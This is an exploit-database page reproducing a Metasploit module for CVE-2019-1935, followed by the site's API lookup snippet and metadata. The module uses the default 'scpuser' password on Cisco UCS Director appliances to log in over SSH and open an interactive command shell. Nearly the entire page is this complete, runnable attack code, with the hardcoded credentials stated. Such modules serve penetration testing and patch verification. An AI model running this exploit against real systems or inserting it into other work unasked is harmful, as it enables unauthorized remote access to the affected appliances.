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"Cisco UCS Director - default scpuser password (Metasploit)"

Author

Metasploit

Platform

unix

Release date

2019-09-03

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SSH

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Cisco UCS Director default scpuser password",
      'Description'    => %q{
        This module abuses a known default password on Cisco UCS Director. The 'scpuser'
        has the password of 'scpuser', and allows an attacker to login to the virtual appliance
        via SSH.
        This module  has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
        Note that Cisco also mentions in their advisory that their IMC Supervisor and
        UCS Director Express are also affected by these vulnerabilities, but this module
        was not tested with those products.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>'        # Vulnerability discovery and Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2019-1935' ],
          [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-usercred' ],
          [ 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ],
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread'
        },
      'Payload'        =>
        {
          'Compat' => {
            'PayloadType'    => 'cmd_interact',
            'ConnectionType' => 'find'
          }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        =>
        [
          [ 'Cisco UCS Director < 6.7.2.0', {} ],
        ],
      'Privileged'     => false,
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 21 2019'
    ))

    register_options(
      [
        Opt::RPORT(22),
        OptString.new('USERNAME', [true,  "Username to login with", 'scpuser']),
        OptString.new('PASSWORD', [true,  "Password to login with", 'scpuser']),
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )
  end

  def rhost
    datastore['RHOST']
  end

  def rport
    datastore['RPORT']
  end

  def do_login(user, pass)
    factory = ssh_socket_factory
    opts = {
      :auth_methods    => ['password', 'keyboard-interactive'],
      :port            => rport,
      :use_agent       => false,
      :config          => false,
      :password        => pass,
      :proxy           => factory,
      :non_interactive => true,
      :verify_host_key => :never
    }

    opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

    begin
      ssh = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh = Net::SSH.start(rhost, user, opts)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh
      conn = Net::SSH::CommandStream.new(ssh)
      ssh = nil
      return conn
    end

    return nil
  end

  def exploit
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']

    print_status("#{rhost}:#{rport} - Attempt to login to the Cisco appliance...")
    conn = do_login(user, pass)
    if conn
      print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
      handler(conn.lsock)
    end
  end
end
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47346/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47346/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47346/41706/cisco-ucs-director-default-scpuser-password-metasploit/download/", "exploit_id": "47346", "exploit_description": "\"Cisco UCS Director - default scpuser password (Metasploit)\"", "exploit_date": "2019-09-03", "exploit_author": "Metasploit", "exploit_type": "remote", "exploit_platform": "unix", "exploit_port": null}
                    

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